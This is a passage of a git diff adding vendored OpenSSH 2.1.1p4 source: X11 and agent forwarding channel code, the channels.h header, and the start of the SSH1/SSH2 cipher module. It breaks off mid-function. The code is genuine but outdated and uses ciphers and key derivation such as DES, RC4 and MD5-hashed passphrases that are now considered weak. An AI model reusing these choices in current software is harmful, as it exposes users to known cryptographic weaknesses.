IPADDR_IN_DISPLAY */ + + /* Allocate a channel for each socket. */ + for (n = 0; n < num_socks; n++) { + sock = socks[n]; + (void) channel_new("x11 listener", + SSH_CHANNEL_X11_LISTENER, sock, sock, -1, + CHAN_X11_WINDOW_DEFAULT, CHAN_X11_PACKET_DEFAULT, + 0, xstrdup("X11 inet listener")); + } + + /* Return a suitable value for the DISPLAY environment variable. */ + return xstrdup(display); +} + +#ifndef X_UNIX_PATH +#define X_UNIX_PATH "/tmp/.X11-unix/X" +#endif + +static +int +connect_local_xsocket(unsigned int dnr) +{ + static const char *const x_sockets[] = { + X_UNIX_PATH "%u", + "/var/X/.X11-unix/X" "%u", + "/usr/spool/sockets/X11/" "%u", + NULL + }; + int sock; + struct sockaddr_un addr; + const char *const * path; + + for (path = x_sockets; *path; ++path) { + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + error("socket: %.100s", strerror(errno)); + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + snprintf(addr.sun_path, sizeof addr.sun_path, *path, dnr); + if (connect(sock, (struct sockaddr *) & addr, sizeof(addr)) == 0) + return sock; + close(sock); + } + error("connect %.100s: %.100s", addr.sun_path, strerror(errno)); + return -1; +} + +int +x11_connect_display(void) +{ + int display_number, sock = 0; + const char *display; + char buf[1024], *cp; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr; + + /* Try to open a socket for the local X server. */ + display = getenv("DISPLAY"); + if (!display) { + error("DISPLAY not set."); + return -1; + } + /* + * Now we decode the value of the DISPLAY variable and make a + * connection to the real X server. + */ + + /* + * Check if it is a unix domain socket. Unix domain displays are in + * one of the following formats: unix:d[.s], :d[.s], ::d[.s] + */ + if (strncmp(display, "unix:", 5) == 0 || + display[0] == ':') { + /* Connect to the unix domain socket. */ + if (sscanf(strrchr(display, ':') + 1, "%d", &display_number) != 1) { + error("Could not parse display number from DISPLAY: %.100s", + display); + return -1; + } + /* Create a socket. */ + sock = connect_local_xsocket(display_number); + if (sock < 0) + return -1; + + /* OK, we now have a connection to the display. */ + return sock; + } + /* + * Connect to an inet socket. The DISPLAY value is supposedly + * hostname:d[.s], where hostname may also be numeric IP address. + */ + strncpy(buf, display, sizeof(buf)); + buf[sizeof(buf) - 1] = 0; + cp = strchr(buf, ':'); + if (!cp) { + error("Could not find ':' in DISPLAY: %.100s", display); + return -1; + } + *cp = 0; + /* buf now contains the host name. But first we parse the display number. */ + if (sscanf(cp + 1, "%d", &display_number) != 1) { + error("Could not parse display number from DISPLAY: %.100s", + display); + return -1; + } + + /* Look up the host address */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", 6000 + display_number); + if ((gaierr = getaddrinfo(buf, strport, &hints, &aitop)) != 0) { + error("%.100s: unknown host. (%s)", buf, gai_strerror(gaierr)); + return -1; + } + for (ai = aitop; ai; ai = ai->ai_next) { + /* Create a socket. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + debug("socket: %.100s", strerror(errno)); + continue; + } + /* Connect it to the display. */ + if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + debug("connect %.100s port %d: %.100s", buf, + 6000 + display_number, strerror(errno)); + close(sock); + continue; + } + /* Success */ + break; + } + freeaddrinfo(aitop); + if (!ai) { + error("connect %.100s port %d: %.100s", buf, 6000 + display_number, + strerror(errno)); + return -1; + } + return sock; +} + +/* + * This is called when SSH_SMSG_X11_OPEN is received. The packet contains + * the remote channel number. We should do whatever we want, and respond + * with either SSH_MSG_OPEN_CONFIRMATION or SSH_MSG_OPEN_FAILURE. + */ + +void +x11_input_open(int type, int plen) +{ + int remote_channel, sock = 0, newch; + char *remote_host; + unsigned int remote_len; + + /* Get remote channel number. */ + remote_channel = packet_get_int(); + + /* Get remote originator name. */ + if (have_hostname_in_open) { + remote_host = packet_get_string(&remote_len); + remote_len += 4; + } else { + remote_host = xstrdup("unknown (remote did not supply name)"); + remote_len = 0; + } + + debug("Received X11 open request."); + packet_integrity_check(plen, 4 + remote_len, SSH_SMSG_X11_OPEN); + + /* Obtain a connection to the real X display. */ + sock = x11_connect_display(); + if (sock == -1) { + /* Send refusal to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remote_channel); + packet_send(); + } else { + /* Allocate a channel for this connection. */ + newch = channel_allocate( + (x11_saved_proto == NULL) ? + SSH_CHANNEL_OPEN : SSH_CHANNEL_X11_OPEN, + sock, remote_host); + channels[newch].remote_id = remote_channel; + + /* Send a confirmation to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remote_channel); + packet_put_int(newch); + packet_send(); + } +} + +/* + * Requests forwarding of X11 connections, generates fake authentication + * data, and enables authentication spoofing. + */ + +void +x11_request_forwarding_with_spoofing(int client_session_id, + const char *proto, const char *data) +{ + unsigned int data_len = (unsigned int) strlen(data) / 2; + unsigned int i, value; + char *new_data; + int screen_number; + const char *cp; + u_int32_t rand = 0; + + cp = getenv("DISPLAY"); + if (cp) + cp = strchr(cp, ':'); + if (cp) + cp = strchr(cp, '.'); + if (cp) + screen_number = atoi(cp + 1); + else + screen_number = 0; + + /* Save protocol name. */ + x11_saved_proto = xstrdup(proto); + + /* + * Extract real authentication data and generate fake data of the + * same length. + */ + x11_saved_data = xmalloc(data_len); + x11_fake_data = xmalloc(data_len); + for (i = 0; i < data_len; i++) { + if (sscanf(data + 2 * i, "%2x", &value) != 1) + fatal("x11_request_forwarding: bad authentication data: %.100s", data); + if (i % 4 == 0) + rand = arc4random(); + x11_saved_data[i] = value; + x11_fake_data[i] = rand & 0xff; + rand >>= 8; + } + x11_saved_data_len = data_len; + x11_fake_data_len = data_len; + + /* Convert the fake data into hex. */ + new_data = xmalloc(2 * data_len + 1); + for (i = 0; i < data_len; i++) + sprintf(new_data + 2 * i, "%02x", (unsigned char) x11_fake_data[i]); + + /* Send the request packet. */ + if (compat20) { + channel_request_start(client_session_id, "x11-req", 0); + packet_put_char(0); /* XXX bool single connection */ + } else { + packet_start(SSH_CMSG_X11_REQUEST_FORWARDING); + } + packet_put_cstring(proto); + packet_put_cstring(new_data); + packet_put_int(screen_number); + packet_send(); + packet_write_wait(); + xfree(new_data); +} + +/* Sends a message to the server to request authentication fd forwarding. */ + +void +auth_request_forwarding() +{ + packet_start(SSH_CMSG_AGENT_REQUEST_FORWARDING); + packet_send(); + packet_write_wait(); +} + +/* + * Returns the name of the forwarded authentication socket. Returns NULL if + * there is no forwarded authentication socket. The returned value points to + * a static buffer. + */ + +char * +auth_get_socket_name() +{ + return channel_forwarded_auth_socket_name; +} + +/* removes the agent forwarding socket */ + +void +cleanup_socket(void) +{ + remove(channel_forwarded_auth_socket_name); + rmdir(channel_forwarded_auth_socket_dir); +} + +/* + * This is called to process SSH_CMSG_AGENT_REQUEST_FORWARDING on the server. + * This starts forwarding authentication requests. + */ + +int +auth_input_request_forwarding(struct passwd * pw) +{ + int sock, newch; + struct sockaddr_un sunaddr; + + if (auth_get_socket_name() != NULL) + fatal("Protocol error: authentication forwarding requested twice."); + + /* Temporarily drop privileged uid for mkdir/bind. */ + temporarily_use_uid(pw->pw_uid); + + /* Allocate a buffer for the socket name, and format the name. */ + channel_forwarded_auth_socket_name = xmalloc(MAX_SOCKET_NAME); + channel_forwarded_auth_socket_dir = xmalloc(MAX_SOCKET_NAME); + strlcpy(channel_forwarded_auth_socket_dir, "/tmp/ssh-XXXXXXXX", MAX_SOCKET_NAME); + + /* Create private directory for socket */ + if (mkdtemp(channel_forwarded_auth_socket_dir) == NULL) { + packet_send_debug("Agent forwarding disabled: mkdtemp() failed: %.100s", + strerror(errno)); + restore_uid(); + xfree(channel_forwarded_auth_socket_name); + xfree(channel_forwarded_auth_socket_dir); + channel_forwarded_auth_socket_name = NULL; + channel_forwarded_auth_socket_dir = NULL; + return 0; + } + snprintf(channel_forwarded_auth_socket_name, MAX_SOCKET_NAME, "%s/agent.%d", + channel_forwarded_auth_socket_dir, (int) getpid()); + + if (atexit(cleanup_socket) < 0) { + int saved = errno; + cleanup_socket(); + packet_disconnect("socket: %.100s", strerror(saved)); + } + /* Create the socket. */ + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + packet_disconnect("socket: %.100s", strerror(errno)); + + /* Bind it to the name. */ + memset(&sunaddr, 0, sizeof(sunaddr)); + sunaddr.sun_family = AF_UNIX; + strncpy(sunaddr.sun_path, channel_forwarded_auth_socket_name, + sizeof(sunaddr.sun_path)); + + if (bind(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) + packet_disconnect("bind: %.100s", strerror(errno)); + + /* Restore the privileged uid. */ + restore_uid(); + + /* Start listening on the socket. */ + if (listen(sock, 5) < 0) + packet_disconnect("listen: %.100s", strerror(errno)); + + /* Allocate a channel for the authentication agent socket. */ + newch = channel_allocate(SSH_CHANNEL_AUTH_SOCKET, sock, + xstrdup("auth socket")); + strlcpy(channels[newch].path, channel_forwarded_auth_socket_name, + sizeof(channels[newch].path)); + return 1; +} + +/* This is called to process an SSH_SMSG_AGENT_OPEN message. */ + +void +auth_input_open_request(int type, int plen) +{ + int remch, sock, newch; + char *dummyname; + + packet_integrity_check(plen, 4, type); + + /* Read the remote channel number from the message. */ + remch = packet_get_int(); + + /* + * Get a connection to the local authentication agent (this may again + * get forwarded). + */ + sock = ssh_get_authentication_socket(); + + /* + * If we could not connect the agent, send an error message back to + * the server. This should never happen unless the agent dies, + * because authentication forwarding is only enabled if we have an + * agent. + */ + if (sock < 0) { + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remch); + packet_send(); + return; + } + debug("Forwarding authentication connection."); + + /* + * Dummy host name. This will be freed when the channel is freed; it + * will still be valid in the packet_put_string below since the + * channel cannot yet be freed at that point. + */ + dummyname = xstrdup("authentication agent connection"); + + newch = channel_allocate(SSH_CHANNEL_OPEN, sock, dummyname); + channels[newch].remote_id = remch; + + /* Send a confirmation to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remch); + packet_put_int(newch); + packet_send(); +} + +void +channel_start_open(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_open: %d: bad id", id); + return; + } + debug("send channel open %d", id); + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(c->ctype); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); +} +void +channel_open(int id) +{ + /* XXX REMOVE ME */ + channel_start_open(id); + packet_send(); +} +void +channel_request(int id, char *service, int wantconfirm) +{ + channel_request_start(id, service, wantconfirm); + packet_send(); + debug("channel request %d: %s", id, service) ; +} +void +channel_request_start(int id, char *service, int wantconfirm) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_request: %d: bad id", id); + return; + } + packet_start(SSH2_MSG_CHANNEL_REQUEST); + packet_put_int(c->remote_id); + packet_put_cstring(service); + packet_put_char(wantconfirm); +} +void +channel_register_callback(int id, int mtype, channel_callback_fn *fn, void *arg) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_callback: %d: bad id", id); + return; + } + c->cb_event = mtype; + c->cb_fn = fn; + c->cb_arg = arg; +} +void +channel_register_cleanup(int id, channel_callback_fn *fn) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_cleanup: %d: bad id", id); + return; + } + c->dettach_user = fn; +} +void +channel_cancel_cleanup(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_cancel_cleanup: %d: bad id", id); + return; + } + c->dettach_user = NULL; +} + +void +channel_set_fds(int id, int rfd, int wfd, int efd, int extusage) +{ + Channel *c = channel_lookup(id); + if (c == NULL || c->type != SSH_CHANNEL_LARVAL) + fatal("channel_activate for non-larval channel %d.", id); + + channel_register_fds(c, rfd, wfd, efd, extusage); + c->type = SSH_CHANNEL_OPEN; + /* XXX window size? */ + c->local_window = c->local_window_max = c->local_maxpacket/2; + packet_start(SSH2_MSG_CHANNEL_WINDOW_ADJUST); + packet_put_int(c->remote_id); + packet_put_int(c->local_window); + packet_send(); +} diff --git a/other/openssh-2.1.1p4/channels.h b/other/openssh-2.1.1p4/channels.h new file mode 100644 index 0000000..9629124 --- /dev/null +++ b/other/openssh-2.1.1p4/channels.h @@ -0,0 +1,237 @@ +/* RCSID("$OpenBSD: channels.h,v 1.14 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef CHANNELS_H +#define CHANNELS_H + +/* Definitions for channel types. */ +#define SSH_CHANNEL_FREE 0 /* This channel is free (unused). */ +#define SSH_CHANNEL_X11_LISTENER 1 /* Listening for inet X11 conn. */ +#define SSH_CHANNEL_PORT_LISTENER 2 /* Listening on a port. */ +#define SSH_CHANNEL_OPENING 3 /* waiting for confirmation */ +#define SSH_CHANNEL_OPEN 4 /* normal open two-way channel */ +#define SSH_CHANNEL_CLOSED 5 /* waiting for close confirmation */ +#define SSH_CHANNEL_AUTH_SOCKET 6 /* authentication socket */ +#define SSH_CHANNEL_X11_OPEN 7 /* reading first X11 packet */ +#define SSH_CHANNEL_INPUT_DRAINING 8 /* sending remaining data to conn */ +#define SSH_CHANNEL_OUTPUT_DRAINING 9 /* sending remaining data to app */ +#define SSH_CHANNEL_LARVAL 10 /* larval session */ +#define SSH_CHANNEL_MAX_TYPE 11 + +/* + * Data structure for channel data. This is iniailized in channel_allocate + * and cleared in channel_free. + */ +typedef void channel_callback_fn(int id, void *arg); + +typedef struct Channel { + int type; /* channel type/state */ + int self; /* my own channel identifier */ + int remote_id; /* channel identifier for remote peer */ + /* peer can be reached over encrypted connection, via packet-sent */ + int istate; /* input from channel (state of receive half) */ + int ostate; /* output to channel (state of transmit half) */ + int flags; /* close sent/rcvd */ + int rfd; /* read fd */ + int wfd; /* write fd */ + int efd; /* extended fd */ + int sock; /* sock fd */ + Buffer input; /* data read from socket, to be sent over + * encrypted connection */ + Buffer output; /* data received over encrypted connection for + * send on socket */ + Buffer extended; + char path[200]; /* path for unix domain sockets, or host name + * for forwards */ + int listening_port; /* port being listened for forwards */ + int host_port; /* remote port to connect for forwards */ + char *remote_name; /* remote hostname */ + + int remote_window; + int remote_maxpacket; + int local_window; + int local_window_max; + int local_consumed; + int local_maxpacket; + int extended_usage; + + char *ctype; /* type */ + + /* callback */ + channel_callback_fn *cb_fn; + void *cb_arg; + int cb_event; + channel_callback_fn *dettach_user; +} Channel; + +#define CHAN_EXTENDED_IGNORE 0 +#define CHAN_EXTENDED_READ 1 +#define CHAN_EXTENDED_WRITE 2 + +void channel_set_fds(int id, int rfd, int wfd, int efd, int extusage); +void channel_open(int id); +void channel_request(int id, char *service, int wantconfirm); +void channel_request_start(int id, char *service, int wantconfirm); +void channel_register_callback(int id, int mtype, channel_callback_fn *fn, void *arg); +void channel_register_cleanup(int id, channel_callback_fn *fn); +void channel_cancel_cleanup(int id); +Channel *channel_lookup(int id); + +int +channel_new(char *ctype, int type, int rfd, int wfd, int efd, + int window, int maxpack, int extended_usage, char *remote_name); + +void channel_input_channel_request(int type, int plen); +void channel_input_close(int type, int plen); +void channel_input_close_confirmation(int type, int plen); +void channel_input_data(int type, int plen); +void channel_input_extended_data(int type, int plen); +void channel_input_ieof(int type, int plen); +void channel_input_oclose(int type, int plen); +void channel_input_open_confirmation(int type, int plen); +void channel_input_open_failure(int type, int plen); +void channel_input_port_open(int type, int plen); +void channel_input_window_adjust(int type, int plen); +void channel_input_open(int type, int plen); + +/* Sets specific protocol options. */ +void channel_set_options(int hostname_in_open); + +/* + * Allocate a new channel object and set its type and socket. Remote_name + * must have been allocated with xmalloc; this will free it when the channel + * is freed. + */ +int channel_allocate(int type, int sock, char *remote_name); + +/* Free the channel and close its socket. */ +void channel_free(int channel); + +/* Add any bits relevant to channels in select bitmasks. */ +void channel_prepare_select(fd_set * readset, fd_set * writeset); + +/* + * After select, perform any appropriate operations for channels which have + * events pending. + */ +void channel_after_select(fd_set * readset, fd_set * writeset); + +/* If there is data to send to the connection, send some of it now. */ +void channel_output_poll(void); + +/* Returns true if no channel has too much buffered data. */ +int channel_not_very_much_buffered_data(void); + +/* This closes any sockets that are listening for connections; this removes + any unix domain sockets. */ +void channel_stop_listening(void); + +/* + * Closes the sockets of all channels. This is used to close extra file + * descriptors after a fork. + */ +void channel_close_all(void); + +/* Returns the maximum file descriptor number used by the channels. */ +int channel_max_fd(void); + +/* Returns true if there is still an open channel over the connection. */ +int channel_still_open(void); + +/* + * Returns a string containing a list of all open channels. The list is + * suitable for displaying to the user. It uses crlf instead of newlines. + * The caller should free the string with xfree. + */ +char *channel_open_message(void); + +/* + * Initiate forwarding of connections to local port "port" through the secure + * channel to host:port from remote side. This never returns if there was an + * error. + */ +void +channel_request_local_forwarding(u_short port, const char *host, + u_short remote_port, int gateway_ports); + +/* + * Initiate forwarding of connections to port "port" on remote host through + * the secure channel to host:port from local side. This never returns if + * there was an error. This registers that open requests for that port are + * permitted. + */ +void +channel_request_remote_forwarding(u_short port, const char *host, + u_short remote_port); + +/* + * Permits opening to any host/port in SSH_MSG_PORT_OPEN. This is usually + * called by the server, because the user could connect to any port anyway, + * and the server has no way to know but to trust the client anyway. + */ +void channel_permit_all_opens(void); + +/* + * This is called after receiving CHANNEL_FORWARDING_REQUEST. This initates + * listening for the port, and sends back a success reply (or disconnect + * message if there was an error). This never returns if there was an error. + */ +void channel_input_port_forward_request(int is_root, int gateway_ports); + +/* + * Creates a port for X11 connections, and starts listening for it. Returns + * the display name, or NULL if an error was encountered. + */ +char *x11_create_display(int screen); + +/* + * Creates an internet domain socket for listening for X11 connections. + * Returns a suitable value for the DISPLAY variable, or NULL if an error + * occurs. + */ +char *x11_create_display_inet(int screen, int x11_display_offset); + +/* + * This is called when SSH_SMSG_X11_OPEN is received. The packet contains + * the remote channel number. We should do whatever we want, and respond + * with either SSH_MSG_OPEN_CONFIRMATION or SSH_MSG_OPEN_FAILURE. + */ +void x11_input_open(int type, int plen); + +/* + * Requests forwarding of X11 connections. This should be called on the + * client only. + */ +void x11_request_forwarding(void); + +/* + * Requests forwarding for X11 connections, with authentication spoofing. + * This should be called in the client only. + */ +void +x11_request_forwarding_with_spoofing(int client_session_id, + const char *proto, const char *data); + +/* Sends a message to the server to request authentication fd forwarding. */ +void auth_request_forwarding(void); + +/* + * Returns the name of the forwarded authentication socket. Returns NULL if + * there is no forwarded authentication socket. The returned value points to + * a static buffer. + */ +char *auth_get_socket_name(void); + +/* + * This is called to process SSH_CMSG_AGENT_REQUEST_FORWARDING on the server. + * This starts forwarding authentication requests. + */ +int auth_input_request_forwarding(struct passwd * pw); + +/* This is called to process an SSH_SMSG_AGENT_OPEN message. */ +void auth_input_open_request(int type, int plen); + +/* XXX */ +int channel_connect_to(const char *host, u_short host_port); +int x11_connect_display(void); + +#endif diff --git a/other/openssh-2.1.1p4/cipher.c b/other/openssh-2.1.1p4/cipher.c new file mode 100644 index 0000000..a44e51d --- /dev/null +++ b/other/openssh-2.1.1p4/cipher.c @@ -0,0 +1,464 @@ +/* + * + * cipher.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Apr 19 17:41:39 1995 ylo + * + */ + +#include "includes.h" +RCSID("$OpenBSD: cipher.c,v 1.29 2000/07/10 16:30:25 ho Exp $"); + +#include "ssh.h" +#include "cipher.h" +#include "xmalloc.h" + +#include + +/* + * This is used by SSH1: + * + * What kind of triple DES are these 2 routines? + * + * Why is there a redundant initialization vector? + * + * If only iv3 was used, then, this would till effect have been + * outer-cbc. However, there is also a private iv1 == iv2 which + * perhaps makes differential analysis easier. On the other hand, the + * private iv1 probably makes the CRC-32 attack ineffective. This is a + * result of that there is no longer any known iv1 to use when + * choosing the X block. + */ +void +SSH_3CBC_ENCRYPT(des_key_schedule ks1, + des_key_schedule ks2, des_cblock * iv2, + des_key_schedule ks3, des_cblock * iv3, + unsigned char *dest, unsigned char *src, + unsigned int len) +{ + des_cblock iv1; + + memcpy(&iv1, iv2, 8); + + des_cbc_encrypt(src, dest, len, ks1, &iv1, DES_ENCRYPT); + memcpy(&iv1, dest + len - 8, 8); + + des_cbc_encrypt(dest, dest, len, ks2, iv2, DES_DECRYPT); + memcpy(iv2, &iv1, 8); /* Note how iv1 == iv2 on entry and exit. */ + + des_cbc_encrypt(dest, dest, len, ks3, iv3, DES_ENCRYPT); + memcpy(iv3, dest + len - 8, 8); +} + +void +SSH_3CBC_DECRYPT(des_key_schedule ks1, + des_key_schedule ks2, des_cblock * iv2, + des_key_schedule ks3, des_cblock * iv3, + unsigned char *dest, unsigned char *src, + unsigned int len) +{ + des_cblock iv1; + + memcpy(&iv1, iv2, 8); + + des_cbc_encrypt(src, dest, len, ks3, iv3, DES_DECRYPT); + memcpy(iv3, src + len - 8, 8); + + des_cbc_encrypt(dest, dest, len, ks2, iv2, DES_ENCRYPT); + memcpy(iv2, dest + len - 8, 8); + + des_cbc_encrypt(dest, dest, len, ks1, &iv1, DES_DECRYPT); + /* memcpy(&iv1, iv2, 8); */ + /* Note how iv1 == iv2 on entry and exit. */ +} + +/* + * SSH1 uses a variation on Blowfish, all bytes must be swapped before + * and after encryption/decryption. Thus the swap_bytes stuff (yuk). + */ +static void +swap_bytes(const unsigned char *src, unsigned char *dst_, int n) +{ + /* dst must be properly aligned. */ + u_int32_t *dst = (u_int32_t *) dst_; + union { + u_int32_t i; + char c[4]; + } t; + + /* Process 8 bytes every lap. */ + for (n = n / 8; n > 0; n--) { + t.c[3] = *src++; + t.c[2] = *src++; + t.c[1] = *src++; + t.c[0] = *src++; + *dst++ = t.i; + + t.c[3] = *src++; + t.c[2] = *src++; + t.c[1] = *src++; + t.c[0] = *src++; + *dst++ = t.i; + } +} + +/* + * Names of all encryption algorithms. + * These must match the numbers defined in cipher.h. + */ +static char *cipher_names[] = +{ + "none", + "idea", + "des", + "3des", + "tss", + "rc4", + "blowfish", + "reserved", + "blowfish-cbc", + "3des-cbc", + "arcfour", + "cast128-cbc" +}; + +/* + * Returns a bit mask indicating which ciphers are supported by this + * implementation. The bit mask has the corresponding bit set of each + * supported cipher. + */ + +unsigned int +cipher_mask1() +{ + unsigned int mask = 0; + mask |= 1 << SSH_CIPHER_3DES; /* Mandatory */ + mask |= 1 << SSH_CIPHER_BLOWFISH; + return mask; +} +unsigned int +cipher_mask2() +{ + unsigned int mask = 0; + mask |= 1 << SSH_CIPHER_BLOWFISH_CBC; + mask |= 1 << SSH_CIPHER_3DES_CBC; + mask |= 1 << SSH_CIPHER_ARCFOUR; + mask |= 1 << SSH_CIPHER_CAST128_CBC; + return mask; +} +unsigned int +cipher_mask() +{ + return cipher_mask1() | cipher_mask2(); +} + +/* Returns the name of the cipher. */ + +const char * +cipher_name(int cipher) +{ + if (cipher < 0 || cipher >= sizeof(cipher_names) / sizeof(cipher_names[0]) || + cipher_names[cipher] == NULL) + fatal("cipher_name: bad cipher name: %d", cipher); + return cipher_names[cipher]; +} + +/* Returns 1 if the name of the ciphers are valid. */ + +#define CIPHER_SEP "," +int +ciphers_valid(const char *names) +{ + char *ciphers, *cp; + char *p; + int i; + + if (names == NULL || strcmp(names, "") == 0) + return 0; + ciphers = cp = xstrdup(names); + for ((p = strsep(&cp, CIPHER_SEP)); p && *p != '\0'; + (p = strsep(&cp, CIPHER_SEP))) { + i = cipher_number(p); + if (i == -1 || !(cipher_mask2() & (1 << i))) { + xfree(ciphers); + return 0; + } + } + xfree(ciphers); + return 1; +} + +/* + * Parses the name of the cipher. Returns the number of the corresponding + * cipher, or -1 on error. + */ + +int +cipher_number(const char *name) +{ + int i; + if (name == NULL) + return -1; + for (i = 0; i < sizeof(cipher_names) / sizeof(cipher_names[0]); i++) + if (strcmp(cipher_names[i], name) == 0 && + (cipher_mask() & (1 << i))) + return i; + return -1; +} + +/* + * Selects the cipher, and keys if by computing the MD5 checksum of the + * passphrase and using the resulting 16 bytes as the key. + */ + +void +cipher_set_key_string(CipherContext *context, int cipher, const char *passphrase) +{ + MD5_CTX md; + unsigned char digest[16]; + + MD5_Init(&md); + MD5_Update(&md, (const unsigned char *) passphrase, strlen(passphrase)); + MD5_Final(digest, &md); + + cipher_set_key(context, cipher, digest, 16); + + memset(digest, 0, sizeof(digest)); + memset(&md, 0, sizeof(md)); +} + +/* Selects the cipher to use and sets the key. */ + +void +cipher_set_key(CipherContext *context, int cipher, const unsigned char *key, + int keylen) +{ + unsigned char padded[32]; + + /* Set cipher type. */ + context->type = cipher; + + /* Get 32 bytes of key data. Pad if necessary. (So that code + below does not need to worry about key size). */ + memset(padded, 0, sizeof(padded)); + memcpy(padded, key, keylen < sizeof(padded) ? keylen : sizeof(padded)); + + /* Initialize the initialization vector. */ + switch (cipher) { + case SSH_CIPHER_NONE: + /* + * Has to stay for authfile saving of private key with no + * passphrase + */ + break; + + case SSH_CIPHER_3DES: + /* + * Note: the least significant bit of each byte of key is + * parity, and must be ignored by the implementation. 16 + * bytes of key are used (first and last keys are the same). + */ + if (keylen < 16) + error("Key length %d is insufficient for 3DES.", keylen); + des_set_key((void *) padded, context->u.des3.key1); + des_set_key((void *) (padded + 8), context->u.des3.key2); + if (keylen <= 16) + des_set_key((void *) padded, context->u.des3.key3); + else + des_set_key((void *) (padded + 16), context->u.des3.key3); + memset(context->u.des3.iv2, 0, sizeof(context->u.des3.iv2)); + memset(context->u.des3.iv3, 0, sizeof(context->u.des3.iv3)); + break; + + case SSH_CIPHER_BLOWFISH: + if (keylen < 16) + error("Key length %d is insufficient for blowfish.", keylen); + BF_set_key(&context->u.bf.key, keylen, padded); + memset(context->u.bf.iv, 0, 8); + break; + + case SSH_CIPHER_3DES_CBC: + case SSH_CIPHER_BLOWFISH_CBC: + case SSH_CIPHER_ARCFOUR: + case SSH_CIPHER_CAST128_CBC: + fatal("cipher_set_key: illegal cipher: %s", cipher_name(cipher)); + break; + + default: + fatal("cipher_set_key: unknown cipher: %s", cipher_name(cipher)); + } + memset(padded, 0, sizeof(padded)); +} + +void +cipher_set_key_iv(CipherContext * context, int cipher, + const unsigned char *key, int keylen, + const unsigned char *iv, int ivlen) +{ + /* Set cipher type. */ + context->type = cipher; + + /* Initialize the initialization vector. */ + switch (cipher) { + case SSH_CIPHER_NONE: + break; + + case SSH_CIPHER_3DES: + case SSH_CIPHER_BLOWFISH: + fatal("cipher_set_key_iv: illegal cipher: %s", cipher_name(cipher)); + break; + + case SSH_CIPHER_3DES_CBC: + if (keylen < 24) + error("Key length %d is insufficient for 3des-cbc.", keylen); + des_set_key((void *) key, context->u.des3.key1); + des_set_key((void *) (key+8), context->u.des3.key2); + des_set_key((void *) (key+16), context->u.des3.key3); + if (ivlen < 8) + error("IV length %d is insufficient for 3des-cbc.", ivlen); + memcpy(context->u.des3.iv3, (char *)iv, 8); + break; + + case SSH_CIPHER_BLOWFISH_CBC: + if (keylen < 16) + error("Key length %d is insufficient for blowfish.", keylen); + if (ivlen < 8) + error("IV length %d is insufficient for blowfish.", ivlen); + BF_set_key(&context->u.bf.key, keylen, (unsigned char *)key); + memcpy(context->u.bf.iv, (char *)iv, 8); + break; + + case SSH_CIPHER_ARCFOUR: + if (keylen < 16) + error("Key length %d is insufficient for arcfour.", keylen); + RC4_set_key(&context->u.rc4, keylen, (unsigned char *)key); + break; + + case SSH_CIPHER_CAST128_CBC: + if (keylen < 16) + error("Key length %d is insufficient for cast128.", keylen); + if (ivlen < 8) + error("IV length %d is insufficient for cast128.", ivlen); + CAST_set_key(&context->u.cast.key, keylen, (unsigned char *) key); + memcpy(context->u.cast.iv, (char *)iv, 8); + break; + + default: + fatal("cipher_set_key: unknown cipher: %s", cipher_name(cipher)); + } +} + +/* Encrypts data using the cipher. */ + +void +cipher_encrypt(CipherContext *context, unsigned char *dest, + const unsigned char *src, unsigned int len) +{ + if ((len & 7) != 0) + fatal("cipher_encrypt: bad plaintext length %d", len); + + switch (context->type) { + case SSH_CIPHER_NONE: + memcpy(dest, src, len); + break; + + case SSH_CIPHER_3DES: + SSH_3CBC_ENCRYPT(context->u.des3.key1, + context->u.des3.key2, &context->u.des3.iv2, + context->u.des3.key3, &context->u.des3.iv3, + dest, (unsigned char *) src, len); + break; + + case SSH_CIPHER_BLOWFISH: + swap_bytes(src, dest, len); + BF_cbc_encrypt(dest, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_ENCRYPT); + swap_bytes(dest, dest, len); + break; + + case SSH_CIPHER_BLOWFISH_CBC: + BF_cbc_encrypt((void *)src, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_ENCRYPT); + break; + + case SSH_CIPHER_3DES_CBC: + des_ede3_cbc_encrypt(src, dest, len, + context->u.des3.key1, context->u.des3.key2, + context->u.des3.key3, &context->u.des3.iv3, DES_ENCRYPT); + break; + + case SSH_CIPHER_ARCFOUR: + RC4(&context->u.rc4, len, (unsigned char *)src, dest); + break; + + case SSH_CIPHER_CAST128_CBC: + CAST_cbc_encrypt(src, dest, len, + &context->u.cast.key, context->u.cast.iv, CAST_ENCRYPT); + break; + + default: + fatal("cipher_encrypt: unknown cipher: %s", cipher_name(context->type)); + } +} + +/* Decrypts data using the cipher. */ + +void +cipher_decrypt(CipherContext *context, unsigned char *dest, + const unsigned char *src, unsigned int len) +{ + if ((len & 7) != 0) + fatal("cipher_decrypt: bad ciphertext length %d", len); + + switch (context->type) { + case SSH_CIPHER_NONE: + memcpy(dest, src, len); + break; + + case SSH_CIPHER_3DES: + SSH_3CBC_DECRYPT(context->u.des3.key1, + context->u.des3.key2, &context->u.des3.iv2, + 